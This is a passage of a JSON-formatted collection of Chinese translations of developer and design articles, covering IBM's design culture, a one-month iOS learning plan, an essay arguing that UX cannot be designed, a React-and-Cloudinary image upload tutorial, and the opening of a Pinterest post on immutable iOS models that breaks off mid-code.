IBM，他们就是受过正式人种学教育并且获得了艺术硕士学位的设计研究员，他们将会探索如何将他们的方法应用在实际工作中。在实际工作中，他们将会开展访谈并收集数据以了解不同功能组件对于用户而言的细微差别。Gilbert 说研究人员所具有的“开放精神”使得工程师能够更好地实现他们的想法，并且更好地满足客户的要求。“设计研究员的加入在设计团队中掀起了轩然大波，但长远来说这是十分具有革命性的。”他这样说道。\n\n“设计研究员的加入在设计团队中掀起了轩然大波，但长远来说这是十分具有革命性的。”\n\n1 亿美金的专项支出，IBM积极地在公司的所有内部系统中推行并倡导设计文化，从招聘到培训，从对员工的考察到办公室的布局，甚至办公用品的采购。“当我们在开始这个项目的时候，我们在办公室中很难用到便利贴。但现在只需要点一个按钮就可以得到便利贴，这是一个令人惊喜的改变。” Gilbert 说道，便利贴是办公室的必需品也是这个设计项目令人惊喜的标识之一。\n\n![](https://qzprod.files.wordpress.com/2016/08/14729427223_8a61afca23_o.jpg?w=3888)\n\n便利贴项目。\n\n\n\n## 收获\n\n为了加大回报，IBM 还特意将三分之二的设计岗位留给了应届毕业生。Gilbert 说这个策略可以给公司加入新鲜的血液。“我们构建这个设计项目是为了长远考虑，我们也希望员工来自世界各地有着各不相同的观点、想法、专业以及不同的设计文化背景。”\n\n专注于设计思维就是逐渐推行协作性，基于小组讨论的公司文化，但这可能并不会立即被所有员工所接受。“这不是彻底的协同工作，而是彻底透明性” Gilbert 说道。“这是相互分享想法、热情以及信息。”他说 IBM 必须重组其内在的系统，转向至更具协作性、更有利于灵感激发的平台例如 GitHub、Slack、和 MURAL。\n\n引入设计研究员（以科学和人类学为专业背景）将会给公司的运作带来最为深远的影响。Gilbert 说，在遇到那些除了用漂亮图片外还能用数据说话的设计师时，IBM 的许多工程和商务团队都很惊讶。“过去的设计师专注于形式和色彩，但对于理解用户而言做得并不好，这十分的棘手，但接下来将会变得越来越好。”他补充道。\n\nIBM 霸气而又彻底的设计思维化项目还会把设计影响力扩散得更广。就在 IBM 所在的 170 个国家中，IBM 会重新进行定位并调整提高设计的专业性。扩散设计的影响力以创造出更适合的形状、更漂亮的界面还有更简洁的解决方案。经过精心训练的 IBM 员工可以在工作中体现出设计的价值，并且以此解决世界上各类棘手的问题，包括检测癌症、与兹卡病毒作斗争还有通过实时的天气数据操控无人机等。\n"
  },
  {
    "path": "TODO/if-i-have-one-month-to-learn-ios-how-would-i-spend-it.md",
    "content": "> * 原文地址：[If I have one month to learn iOS: How would I spend it?](https://android.jlelse.eu/if-i-have-one-month-to-learn-ios-how-would-i-spend-it-a5b2aba87cc2#.8dh9co4nl)\n* 原文作者：[Quang Nguyen](https://android.jlelse.eu/@quangctkm9207?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015)\n* 校对者：[reid3290](https://github.com/reid3290) ,[zhaochuanxing](https://github.com/zhaochuanxing)\n\n# 如果只有一个月入门 iOS：我该如何学习呢？ #\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*7kScZyq1aZUf6bjVC7oA7g.png\">\n\n图片来源：[https://unsplash.com/@firmbee](https://unsplash.com/@firmbee) \n\n直到去年，我一直都在从事 Android 平台的开发。当时，我对 iOS 开发没有任何的概念，甚至从来没有用过 Apple 的产品。但这一切都是过去式了，现在我已经能够同时进行 iOS 和 Android 应用的开发了。\n\n今天再回顾过去的学习时光，我想分享一个由我自己总结出的一个月入门 iOS 开发的课程大纲。\n依我个人的经验，我非常推荐 Android 开发者学习 iOS 应用开发。尽管这听起来怪怪的，但别误解我。因为：**广泛地涉猎能够让你在自己的领域有更深的见解。**\n\n> “如果你做出了些成果并且收效不错，那么你应该投入到创造下一个美妙的东西中去，不要在已有的成果上沉浸太久。弄清楚下一个目标就是了。” - **Steve Jobs**\n\n回到正题，就从我自己制定的一个月学习计划讲起，放心，文中所有的资源都是完全免费的。\n\n### Swift 入门 ###\n\n你当然也可以学 Objective-C 但我强力推荐你学习 Swift。它非常的友好并且易于上手。（译者注：国外的 Swift 氛围相对较好，如果是国内的话请仔细斟酌首学语言）\n\n我第一个访问的网址就是[苹果官方资源](https://developer.apple.com/library/prerelease/content/documentation/Swift/Conceptual/Swift_Programming_Language/index.html)。通读那些基本概念并跟着文档在 Xcode 中进行实践吧。\n\n除此之外，你也可以试试 [优达学城的 Swift 学习课程](https://www.udacity.com/course/learn-swift-programming-syntax--ud902)。尽管网站上说你大概要花三周时间进行学习，但其实你几天（每天几个小时）你就可以完成那些课程了。\n\n我大概花了一周时间学习 Swift。而如果你的时间充裕，也可以看看下面的资源：\n\n- [Swift-Playgrounds 学习基础语法](https://github.com/danielpi/Swift-Playgrounds) \n- [Raywenderlich 的 Swift 教程](https://www.raywenderlich.com/category/swift)\n- [Swift 中的设计模式](https://github.com/ochococo/Design-Patterns-In-Swift)\n\n### 用 UIKit 来绘制应用界面 ###\n\n接下来让我们看看有趣的视觉部分。UIKit 能让你的程序在 iOS 设备上进行展示和交互。听着不错，不是吗？\n\n当时我在优达学城上搜索相关的免费课程，我还真找到了 - [UIKit 基础课程](https://www.udacity.com/course/uikit-fundamentals--ud788)。\n\n起初，iOS 的 Auto Layout 让我颇感困扰。因为在开发 Android 应用时，我都是通过 xml 文件来实现界面并视觉检视的，几乎从来没有用过拖拽摆放（drag-and-drop）的方法。但在 iOS 上，这个过程完全不同。\n在花了一些时间去实践、理解 Auto Layout 的机制之后，我发现我学到了一些日常 Android 设计风格之外的新东西，这太棒了。\n\n除此之外，你还可以在 Xcode 的 Storyboard 中简单地拖动、连接两个视图（screen），就能完成视图转场，而在 Android 这只能由代码完成。\n\n你可以探索的特性还有很多。\n\n另外，你还可以在 [Raywenderlich 的 iOS 目录](https://www.raywenderlich.com/category/ios) 下的“Core Concepts”板块找到更多有关 iOS UIKit 的教程。\n\n### 理解 iOS 的数据持久化 ###\n\n当你熟悉了 UIKit 之后，你就可以向用户展示数据并从他们那获取数据了。很棒吧。\n\n下一步就是将数据存储起来，这样即便应用关闭了，用户下次使用依然可以获取到这些数据。这里我的意思是将数据存储在用户的设备上，而不是远端服务器。\n\n在 iOS 应用中，你有以下几个选择：\n\n- **NSUserDefaults** : 一种键-值形式的存储，与 Android 中的 SharePreferences 相似\n- **NSCoding / NSKeyed&#8203;Archiver** : 将兼容的类与数据表示互相转换，并存储于文件系统（File System）或 NSUserDefaults 中\n- **Core Data**: iOS 的功能强大的框架\n- 其它: SQLite，Realm 等等。\n\n尽管当下许多 iOS 开发者都更愿意使用 Realm 而非 Core Data，但我还是推荐你学习 Core Data，因为它是 iOS 官方的持久化框架，当你理解了它的核心架构和实现方式后，你将如虎添翼。（译者注：关于 SQLite，Realm 还是 Core Data 的争论一直没有停过，建议初学者都了解一下，根据实际项目需要进行选择）\n\n我所参看过的资源包括：\n\n- 优达学城的 [iOS 数据持久化和 Core Data](https://www.udacity.com/course/ios-persistence-and-core-data--ud325)\n- Youtube 上的 [一些 Core Data 教程](https://www.youtube.com/results?search_query=core+data)\n- Mattt Thompson 编写的 [NSCoding/NSKeyedArchiver 相关文章](http://nshipster.com/nscoding/) \n\n### 利用 iOS 网络连接来与世界互动 ###\n\n我们生活在互联网时代，所以你的应用理应能够与外界互联并与他人进行数据交换。让我们进入下一课：iOS 网络连接。你要学习如何使用 iOS 中的 REST API（译者注：REST - REpresentational State Transfer）。在这个阶段，请你一定不要使用第三方的库。让我们用 iOS 内置的框架来完成这部分的内容。\n\n在日后的开发中，你将有许多使用诸如 [Alamofire](https://github.com/Alamofire/Alamofire) 这样酷炫的 http 网络库的机会，但我们现在是在学习呢。在尝试那些高深的东西前，我们要先了解官方提供的基础知识。\n\n我推荐如下的课程和教程：\n\n- RayWenderlich 上的 [NSURLProtocol](https://www.raywenderlich.com/76735/using-nsurlprotocol-swift) 教程\n- RayWenderlich 上的 [NSURLSession](https://www.raywenderlich.com/110458/nsurlsession-tutorial-getting-started) 教程\n- 优达学城上的 [基础网络课程](https://www.udacity.com/course/ios-networking-with-swift--ud421)\n\n### 创造属于你的美妙应用 ###\n\n> “了解是不够的。我们必须运用”。 - Leonardo da Vinci\n\n在进行完上述的学习之后，你已经有丰富的知识储备了。你可以用 Swift 编程，用 Storyboard 和 UIKit 来构建 iOS 应用界面，在本地设备存储数据，并利用 iOS 网络连接来于外界交换信息。\n\n太棒了大兄弟。放手去实现任何你想到的东西吧！\n\n我们开发者，创造又酷又富有价值的工具来让这繁复的世界变得简单。所以，你可以试着做一个改进你日常生活的应用，帮助你的家人，甚至是解决全球性问题。最后，我建议你将应用发布到 Apple Store 上。这将给予你正反馈并有助于你坚持下去。\n\n三年以前，我在学习了 Android 一个月后，在 Google Play 发布了我的第一个 Android 应用（是一个作笔记的应用）。一年前，我同样在自学一个月后在 Apple Store 发布了我的第一个 iOS 应用（一个天气应用）。它们一开始都简单粗糙，但却时刻激励着我继续前进的脚步。\n\n我打赌你能做得比我更好。所以，让我们去创造一些值得向世界炫耀的东西吧。\n\n**注意：** 你可以通过 Google 搜索到许多其它优秀的资源。上文中提到的教程和课程仅仅是我的个人推荐。\n\n希望这篇文章能够给你带来帮助。"
  },
  {
    "path": "TODO/im-not-a-ux-designer-and-neither-are-you.md",
    "content": "> * 原文地址：[I’m not a UX Designer, and neither are you?](http://www.webdesignerdepot.com/2016/08/im-not-a-ux-designer-and-neither-are-you/)\n* 原文作者：[Ben Moss](http://www.webdesignerdepot.com/author/Ben-Moss/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [MAYDAY1993](https://github.com/MAYDAY1993)\n* 校对者：[Kulbear](https://github.com/Kulbear)  [hpoenixf](https://github.com/hpoenixf) \n\n# 我不是用户体验设计师，你呢？\n\n最近几年*用户体验*这个术语脱颖而出，随之而来的我们已经看到了*UX 设计师*的崛起。\n\n每隔几个月有人会发一对图片的状态，一个会是一块饼干（标签是 ‘UI’），另一个将会是一张正在吃饼干沾沾自喜的脸（标签是 'UX'）。几周后，一个诚意满满的文章将会出现在媒体上，通过争辩说 ‘UI’ 正确的定义是泡着饼干的一杯茶来反驳之前的推文。\n\n这些比喻借题发挥，因为 “UI 设计”已经成为了一个涵盖面很广的，描述一个我们还正在试图定义的过程的术语。\n\n## UX 不能被设计\n\n好吧，它能...在一些边缘情况下...\n\n例如一个过山车设计师可以说在设计体验。过山车是一个感官主导的体验；具有重力、平衡、声音、空气压力方面的极端变化,在一个惊悚之旅中，你很少注意到通常你看到的全部就是你前方座椅的后面。过山车是一个能被设计的体验，因为体验的变化是有限的。但是即便如此，我们不能控制排队的时间，天气，或是坐上去前在你旁边的孩子吃的草莓奶昔的数量。\n\n你也许会说一个电影导演是一个 UX 设计师，坐在电影院里看一部电影，我们全神贯注于一个单一的线性的叙述。假如其间没被某人的电话打断，在两个多小时内所有观众将会体验相同的情感高潮和低潮。\n\n对于 UI vs.UX 我记得听过的最初的一个类比是自行车： UI 是自行车，车架，车把，轮胎等；UX 是下山时惯性滑行的体验。然而除非我计划一条环形自行车道，或作为一个城市规划者设计自行车道，我没办法设计一个骑车人的体验；我不能控制交通，不能控制地形，也不能控制路上的其他人。\n\n我能设计一个在尽可能多样化的情境中起作用的 UI （一辆自行车），但我不能设计 UX (骑自行车的行为)，那是留给用户的。\n\n## UX 从不是单一的\n\n UX 不是一个幻想，它在每一个站点和应用都不可或缺。人们的一个误区便是相信存在着一个单一的可设计的用户体验。\n\n我们能为了用户体验来设计。我们能创造明确的、功能性的UI来实现微－交互和引起共鸣的内容。我们能创造一个能产生用户体验的框架，但我们不能设计用户体验。\n> We can create a framework within which user experiences can occur, but we cannot *design* them\n\n上学时我们学到有五种感官：视觉，听觉，触觉，味觉和嗅觉。随着我们长大，我们了解到感觉的定义有点儿模糊；饥饿，平衡和温度都能被认为是非传统意义上的感觉。一些心理学家认为有超过 20 种的感觉。\n\n一个印刷版的设计可能涉及几种传统的感觉：视觉，触觉，可能还有嗅觉。一个网站一般包含一到两种：视觉和听觉。所以我们最多可以设计五分之二的用户体验。如果我们把非传统意义的感觉考虑在内，我们能影响的用户的实际体验可能低至 5% 。\n\n我不知道当有人访问我的网站将会播放什么背景乐，我不知道之前他们在哪儿，或之后他们将会在哪儿，我不能控制体验的长短，或用户的关注程度。 UX 是一个及其个人的事，不仅对于每个用户是独特的，而且每一次用户背景变化也会不同。\n\n响应式设计经常关注不同的视图尺寸，但是远不止这些：连接速度，屏幕分辨率，环境的影响（例如光照强度），都是超出我们控制的因素。响应式设计最核心的原则是将变化视为媒体的一个内在的特性，而不是限制。\n\n响应式网站设计的自然延伸是一个响应式的并没有设计 UX 的用户体验，更是创造了一个能够产生 UX 的框架。通过*为了* UX 来设计，而不是设计 UX 自身，我们为用户设计工具来开发自己的体验。通过将过程交给用户，让他们全身心投入，以他们自己的方式定义他们与一个产品或服务的关系。\n\n通过避免设计一个 UX ,我们创造了一个更加开放，平均，有吸引力的网站。\n\n## UX vs.人体工程学\n排版与易读性和可读性有很大关系。换句话说，与汲取信息的行为有很大关系。读一本书的用户体验远不止排版，它延伸到了每一丝一毫的重量，纸张的感觉，绑带的味道，它包含了使用一本书的所有方面。\n\n我们不用 2pt 打印一本书，因为字太小而不能读。我们不用 200pt 打印一本书，因为一页上没几个字。为人类而设计，找到一个以人为本的并由此开展的关键点的行为，就叫人体工程学。它总是设计的一部分。\n\n为了人类设计，并不意味着设计人类的行为。UX是设计的结果；一个最终的结果，不是一个过程。\n\n## 远离草\n\n关于 UX 最有名的一个梗是有一片草的小路。有时候有个门，有时候这条小路简单地在一个直角转弯了。在所有情况下，这条小路被标记叫 ’Design’，穿过草地的被很多脚印踩出来的泥泞的路被标记为 ’UX’ 。\n\n像饼干的比喻，小路这个梗延续了这一传说， UI 是来限制用户，而 UX 是关乎自由和享受。\n> Designing for humans, does not mean designing the act of being human\n\n这个梗顺便忽略了这一点，虽然走在草地上可能留下足迹，但走在水泥上不会。对于每一个走在草地上的人，可能存在上万个没走在草地上的人。\n\n关于 UX 的错误观点是存在着一个确定的用户体验，通过大量用户的探索，一个单一的’正确的’道路会出现。\n\n我们不控制一个用户的背景，而且我们也不应该尝试。网站和应用并不是电影，或事件。真正成功的 UX 不是被设计的，它发生在用户以他们自己的方式来和给定的框架交互的时候。\n\n史上最成功的电影系列之一是 *Star Wars*， 并不是因为电影本身，而是由于周边玩具。 *Star Wars* 展现的并不是几个小时的线性叙述，而是一个粉丝可以在其中演绎自己故事的延伸世界。没有该延伸性， George Lucas 也可能成了 *The Last Starfighter.*\n\n好的设计与实现参与有关。作为一个设计师你能寻求那种参与度，但你不能强制它。 UX 是一个私人的事，由用户受刺激产生的想法创造。\n\n我们不是电影导演，也不是过山车设计师，也不是小说家；我们是促进者：我们清理爆米花；我们按 ’launch’ 键；我们设置类型。这可能不惊艳，但这是善良的工作。\n\n我不是一个*用户体验设计师,*我是个*设计师,*你也是。\n"
  },
  {
    "path": "TODO/image-upload-manipulation-react.md",
    "content": "> * 原文地址：[Image Upload and Manipulation with React](https://css-tricks.com/image-upload-manipulation-react/)\n* 原文作者：[Damon Bauer](http://damonbauer.me/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[DeadLion](https://github.com/DeadLion)\n* 校对者：[mypchas6fans](https://github.com/mypchas6fans), [Kulbear](https://github.com/Kulbear)\n\n# 如何用 React 完成图片上传功能？\n\n_下面这篇特邀文章是由 [Damon Bauer](http://damonbauer.me/) 完成的，主题是关于一个 web 开发人员非常常见的工作：为用户提供图片上传功能。我想说这并不容易，但是有了一些功能强大的工具来帮忙做一些比较“重”的工作，这个任务会觉得比以前轻松许多。Damon 甚至全程在浏览器中完成了[这项任务](https://github.com/damonbauer/react-cloudinary)!_\n\n\n对于 web 开发者来说，让用户能够上传图片是一件很常见的事情。一开始可能看起来小菜一碟，但是当真正创建一个图片上传组件的时候，还是有些问题需要去考虑的。这里有一些注意事项：\n\n*   允许什么类型的图片上传?\n*   需要多大的图片? 这对性能有何影响?\n*   图片长宽比例应该是多少?\n*   如何管理图片? 能扑捉到不良图片吗?\n*   图片存储在哪? 如何运维?\n\n\n诸如 [Paperclip](https://github.com/thoughtbot/paperclip) 和 [ImageProcessor](http://github.com/JimBobSquarePants/ImageProcessor) 这样的服务器端工具，能解决上面大部分的问题。不幸的是，目前还没有一个能用在单页应用上的现成的工具。我将向你们展示我是如何在一个 [React](https://facebook.github.io/react/) 应用中解决这个问题的，完全没有用到服务器端语言。\n\n这是我们将要构建的应用的一个小样品。\n\n![](http://ac-Myg6wSTV.clouddn.com/35688e25409731fdba7b.gif)\n\n### 工具包\n\n我用到了下面三个工具:\n\n*   [react-dropzone](https://github.com/okonet/react-dropzone) 来接受用户的图片\n*   [superagent](https://github.com/visionmedia/superagent) 转换上传的图片\n*   [Cloudinary](https://cloudinary.com) 存储图片和编辑图片。\n\n### 设置 Cloudinary\n\nCloudinary 是一个可以为图片提供存储、操作、管理、提供功能的云服务。我选择使用 Cloudinary 是因为它提供的免费账户包含了所有我所需要的功能。你至少需要一个免费帐户才能开始。\n\n假如说你想裁剪，调整大小并给上传的图片增加滤镜。Cloudinary 有个_转换_的概念，和修改图片功能链接在一块的，不管你需不需要。一旦上传，就会转换、修改然后存储新的图片。\n\n在 Cloudinary 控制面板中，找到 **Settings > Upload**，然后选择 “Upload presets” 下方 的 “Add upload preset”。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2016/08/AddPreset.png)\n\n\n下一步，将 “Mode” 改成 “Unsigned”。这是必须的，然后你就可以不需要使用服务器端语言来处理私钥也能直接上传到 Cloudinary 了。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2016/08/Unsigned.png)\n\n\n在 “Incoming Transformations” 部分选择 “Edit” 可以添加任何转换。 你可以裁剪、调整大小、改变质量、旋转、滤镜等等。保存预设，这就行了！你现在有地方上传、处理、存储图片了，能够为你的应用程序提供图片服务了。注意预设名称，我们稍后将用到它。让我们进入代码部分吧。\n\n### 接受用户输入\n\n为了处理图片上传，我用了 [react-dropzone](https://github.com/okonet/react-dropzone) 插件。它包含了一些功能，如拖放文件、文件类型限制和多文件上传。\n\n首先，安装依赖。在命令行中输入下面的命令，运行：\n\n```\nnpm install react react-dropzone superagent --save\n```\n\n然后在你的组件中导入 `React`、 `react-dropzone` 和 `superagent`。我使用 ES6 `import` 语法。\n\n```\nimport React from 'react';\nimport Dropzone from 'react-dropzone';\nimport request from 'superagent';\n```\n\n我们稍后会用到 `superagent`。现在，在你的组件 render 方法中包含一个 `react-dropzone` 实例。\n\n```\nexport default class ContactForm extends React.Component {\n\n  render() {\n    <Dropzone\n      multiple={false}\n      accept=\"image/*\"\n      onDrop={this.onImageDrop.bind(this)}>\n      <p>Drop an image or click to select a file to upload.</p>\n    </Dropzone>\n  }\n```\n\n以下是这个组件的一些概要:\n\n*   `multiple={false}` 同一时间只允许一个图片上传。\n*   `accept=\"image/*\"` 允许任何类型的图片。你可以明确的限制文件类型，只允许某些类型可以上传， 例如 `accept=\"image/jpg,image/png\"`。\n*   `onDrop` 是一个方法，当图片被上传的时候触发。\n\n当使用 React ES5 类语法（`React.createClass`），所有方法是 “autobound（自动绑定）” 到类实例上。这篇文章中的代码使用 ES6 类语法（`extends React.Component`），不提供自动绑定的。所以我们在 `onDrop` 属性中用了 `.bind(this)` 。（如果你不熟悉 `.bind`，你可以看看[这篇文章](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind)了解下。）\n\n### 处理拖拽图片\n\n现在，让我们设置当上传一个图像时，做某些事情的方法。\n\n\n首先，为两条重要的上传信息设置一个 `const` 。\n\n1.  上传预设 ID (当你创建了上传预设时自动生成)\n2.  你的 Cloudinary 上传 URL\n\n```\n// import statements\n\nconst CLOUDINARY_UPLOAD_PRESET = 'your_upload_preset_id';\nconst CLOUDINARY_UPLOAD_URL = 'https://api.cloudinary.com/v1_1/your_cloudinary_app_name/upload';\n\nexport default class ContactForm extends React.Component {\n// render()\n```\n\n然后，增加一条记录到组件初始化 state （使用 `this.setState`）；我给这个属性起了个名字 `uploadedFileCloudinaryUrl`。最终，这将存放一个上传成功后由 Cloudinary 生成的图片 URL。我们稍后会用到这条 state。\n\n```\nexport default class ContactForm extends React.Component {\n\n  constructor(props) {\n    super(props);\n\n    this.state = {\n      uploadedFileCloudinaryUrl: ''\n    };\n  }\n```\n\n`react-dropzone` 文档说它总是返回一个上传文件的数组，所以我们将该数组传递给 `onImageDrop` 方法的 `files` 参数。我们设置了一次只能传一张图片，所以图片总是在数组的第一个位置。\n\n调用 `handleImageUpload` ，将图片（`files[0]`）传入该方法。我将这个方法分离出一个单独的方法，遵循[单一职责原则](https://en.wikipedia.org/wiki/Single_responsibility_principle)。从本质上讲，这一原则方法教你保持方法紧凑，只做一件事。\n\n\n```\nexport default class ContactForm extends React.Component {\n\n  constructor(props) { ... }\n\n  onImageDrop(files) {\n    this.setState({\n      uploadedFile: files[0]\n    });\n\n    this.handleImageUpload(files[0]);\n  }\n\n  render() { ... }\n\n}\n```\n\n### 处理图片上传和转换\n\n首先，用 `superagent` 将我们之前设置的两个 `const` POST 到 Cloudinary 。 [`.field` 方法](https://visionmedia.github.io/superagent/#field-values) 能让我们将数据附加到 POST 请求中。这些数据包含了 Cloudinary 处理上传图片的所有信息。通过调用 `.end`，执行请求并提供回调。\n\n```\nexport default class ContactForm extends React.Component {\n\n  constructor(props) { ... }\n\n  onImageDrop(files) { ... }\n\n  handleImageUpload(file) {\n    let upload = request.post(CLOUDINARY_UPLOAD_URL)\n                        .field('upload_preset', CLOUDINARY_UPLOAD_PRESET)\n                        .field('file', file);\n\n    upload.end((err, response) => {\n      if (err) {\n        console.error(err);\n      }\n\n      if (response.body.secure_url !== '') {\n        this.setState({\n          uploadedFileCloudinaryUrl: response.body.secure_url\n        });\n      }\n    });\n  }\n\n  render() { ... }\n\n}\n```\n\n在 `.end` 回调中，打印所有返回错误的同时，最好也告诉用户出现了一个错误。\n\n接下来，我们接收到的响应中包含一个 URL，检查下它是不是一个空字符串。这就是图片被上传，处理后 Cloudinary 生成的一个 URL。举个例子，如果一个用户正在编辑他的资料，上传了一张图片，你可以将 Cloudinary 返回的新的图片 URL 保存到你的数据库中。\n\n我们目前写的代码，支持用户拖拽一张图片，组件将图片发送到 Cloudinary，然后收到一个给我们用的转换后的图片 URL。\n\n### 渲染阶段\n\n组件最后一部分是一个 `div`，可以预览上传后的图片。\n\n```\nexport default class ContactForm extends React.Component {\n\n  constructor(props) { ... }\n\n  onImageDrop(files) { ... }\n\n  handleImageUpload(file) { ... }\n\n  render() {\n    <div>\n      <div className=\"FileUpload\">\n        ...\n      </div>\n\n      <div>\n        {this.state.uploadedFileCloudinaryUrl === '' ? null :\n        <div>\n          <p>{this.state.uploadedFile.name}</p>\n          <img src={this.state.uploadedFileCloudinaryUrl} />\n        </div>}\n      </div>\n    </div>\n  }\n```\n\n如果 `uploadedFileCloudinaryUrl` state 是一个空字符串，三元运算符将输出 `null` （什么都没有）。回想下，组件的 `uploadedFileCloudinaryUrl` state 默认是一个空字符串；这就意味着组件渲染时，这个 `div` 将是空的。\n\n然而，当 Cloudinary 返回一个 URL，state 不再是空字符串，因为我们在 `handleImageUpload` 更新了 state。此时，该组件将重新渲染，显示上传的文件名称和变换后的图像的预览。\n\n### 结束\n\nThis is just the groundwork for an image upload component. There are plenty of additional features you could add, like:\n\n这只是为图片上传组件做的准备工作。有很多可以添加的附加功能，比如：\n\n*   允许多图片上传\n*   清除上传的图片\n*   如果因为某些原因上传失败，展示错误\n*   使用移动设备相机作为上传源\n\n目前为止，这些设置已经满足我工作的需求了。硬编码上传预设不是完美的，但我还没有碰到任何问题。\n\n希望你们已经理解了如何不用服务器端语言，使用 React 就能上传，存储和操作图片。如果你们有任何问题或者点评，我很乐意听到你们的反馈！我已经建好了一个仓库，你们可以[点击链接](https://github.com/damonbauer/react-cloudinary)查看代码.\n"
  },
  {
    "path": "TODO/immutable-models-and-data-consistency-our-ios-app.md",
    "content": "> * 原文地址：[Immutable models and data consistency in our iOS App](https://engineering.pinterest.com/blog/immutable-models-and-data-consistency-our-ios-app)\n* 原文作者：[Wendy Lu](https://twitter.com/wendyluwho)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://github.com/kulbear)\n* 校对者：[steinliber](https://github.com/steinliber), [MAYDAY1993](https://github.com/MAYDAY1993)\n\n# iOS APP 中的不可变模型以及一致性数据\n\n今年早些时候，为了给用户，尤其是大部分海外的用户更快更清晰的体验，我们全面重构了我们的 [iOS 应用](https://engineering.pinterest.com/blog/re-architecting-pinterests-ios-app)。这次重构的其中一个目的是将我们的应用迁移到一个不可变模型的层面上。在这篇博客中，我将会讨论这样做的动机，并探索我们的新系统是如何处理模型的更新，从 API 读取新信息，以及保持数据持久性的。\n\n## 为什么选择不可变模型？\n\n因为现今许多应用都转而使用了不可变设计，‘不可变模型’已经成为了一个耳熟能详的术语。不可变性意味着再初始化后模型将不可再更改。但为何我们要使用他们呢？嗯，主要问题在于可变性在状态共享方面有一些问题。\n\n想象这样一个情景，在一个模型可变的系统中，A 和 B 都保持引用指向 C。\n\n![](https://engineering.pinterest.com/sites/engineering/files/Screen%20Shot%202016-08-19%20at%209.37.26%20AM_0.png)\n\n如果 A 修改了 C，那么 A 和 B 都将会看到这个变更。这似乎并没有什么问题，但如果 B 并（如：没有在设计中）未预期这个改变，可能会发生很糟糕的事情。\n\n比如，我在和其他两个用户共享一个消息线程。我有一个带有一个叫 ‘users’ 属性的消息对象。\n\n![](https://engineering.pinterest.com/sites/engineering/files/Screen%20Shot%202016-08-19%20at%209.38.32%20AM_0.png)\n\n如果我正处于这个界面的同时，应用的另一部分决定将 Devin 从 对话中移除（也许应用收到了服务器更新的响应之后更改了这个模型）。当我点击第二行的时候，我在 message.user 这个数组中读取第二个对象。此时返回给我的对象将是 Stephanie 而非 Devin，从而使我错误的屏蔽了他人。\n\n不可变模型是线程安全的。之前，我们总会担心一个线程变更一个对象的同时，另一个线程想要读取它。在我们的新系统里，一个对象在初始化后无法被更改，所以我们可以很安全地拥有多个线程同时读取对象而不用担心读取到了不安全的值。因为我们的iOS应用程序变得高并发和多线程，这使得我们的生活更加简单。\n\n## 更新模型\n\n因为我们的模型在创建后不可更改，唯一的更新／变更方法就是重新创建一个全新的模型对象。我们有两种方法来做这件事：\n\n* 通过一个字典来初始化模型（通常是来自于一个 JSON 类型的响应）\n\n```\nUser *user = [[User alloc] initWithDictionary:dictionary];\n```\n\n* 使用一个 “builder” 对象，基本上它就是一个可变的对模型的表述方法，它包含模型需要的所有属性。你可以通过现存的模型创建一个 builder，编辑你需要更改的属性，然后调用 initWithBuilder 来返回新的模型（以后的博客中会探讨这个）。\n\n```\n// Change the current user's username to “taylorswift”\nUserBuilder *userBuilder = [[UserBuilder alloc] initWithModel:self.currentUser];\nuserBuilder.username = @\"taylorswift\";\nself.currentUser = [[User alloc] initWithBuilder:userBuilder];\n```\n\n## 读取和缓存 API 的数据\n\n我们的 API 允许我们通过模型属性的子集从服务器请求部分的 JSON 模型。比如，在 Pin 这个界面上，我们需要一些诸如图片 URL 和详细描述这样的属性，但我们在用户点进去之前都不需要全部的信息（比如配料表）。这样的设计帮我们削减了需要传输的数据量和后端处理的时间。\n\n![](https://engineering.pinterest.com/sites/engineering/files/Screen%20Shot%202016-08-19%20at%209.45.23%20AM_0.png)\n\n我们用 [PINCache](https://github.com/pinterest/PINCache) 来保持我们核心模型的缓存。[PINCache](https://github.com/pinterest/PINCache) 是一个在 iOS 上处理缓存对象并被我们[开源](https://engineering.pinterest.com/tags/pincache)的库。缓存的键是由服务端提供的模型唯一 ID。当我们收到一个新的服务器响应时，我们检查现有模型的缓存。如果找到了已存在的模型，我们将会将现有模型和从服务器响应中返回的变更属性合并后创建一个新的模型。新的模型将会替换掉缓存中现有的这一个模型。这样，缓存中的模型将会始终为最新的超集（基于我们收到的所有属性变更）。\n\n![](https://engineering.pinterest.com/sites/engineering/files/Screen%20Shot%202016-08-19%20at%209.47.14%20AM_0.png)\n\n## 数据持久性\n\n当一个模型被更新后（即，一个新的模型被创建了），变更的内容应该即时反应在需要这个模型的界面上。我们之前使用了 [Key-Value 监视](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/KeyValueObserving/KeyValueObserving.html) 来处理这个情况，但这种方法由于只监视一个模型的实例而不可应用于不可变对象上。我们现在使用一个基于 NSNotificationCenter 的系统来告知对象们——你们所关注的模型刚刚被更新了。\n\n## 监视变更\n\n一个视图或视图控制器可以注册在一个模型的更新通知中。在这个例子中，消息视图控制器注册于消息模型的变更上。任何新的消息模型被创建，它都会第一时间知道。\n\n![](https://engineering.pinterest.com/sites/engineering/files/Screen%20Shot%202016-08-19%20at%209.48.46%20AM_0.png)\n\n下面的代码创建了一个通过名字和独一辨识监听更新后的模型的观察者。在这个方法背后，我们使用了 [block-based NSNotificationCenter API](https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSNotificationCenter_Class/#//apple_ref/occ/instm/NSNotificationCenter/addObserverForName:object:queue:usingBlock:)，这样我们可以更好的控制观察者的生命周期。\n\n```\n[self.notificationManager addObserverForUpdatedModel:self.message block:^(NSNotification *notification) {\n    // Update message view here!\n}];\n```\n\n这个 notificationManager 是一个 NSObject 的子类，他保持了对注册的观察者的强引用。因为它是我们视图控制器的一个属性，他的 dealloc 将会在视图控制器的 dealloc 之后被立即调用，从而使我们能保证所有的观察者这时都被注销了。\n\n## 发布变更\n\n当消息模型变更时，将会发送一个通知。\n\n```\nMessage *newMessage = [[Message alloc] 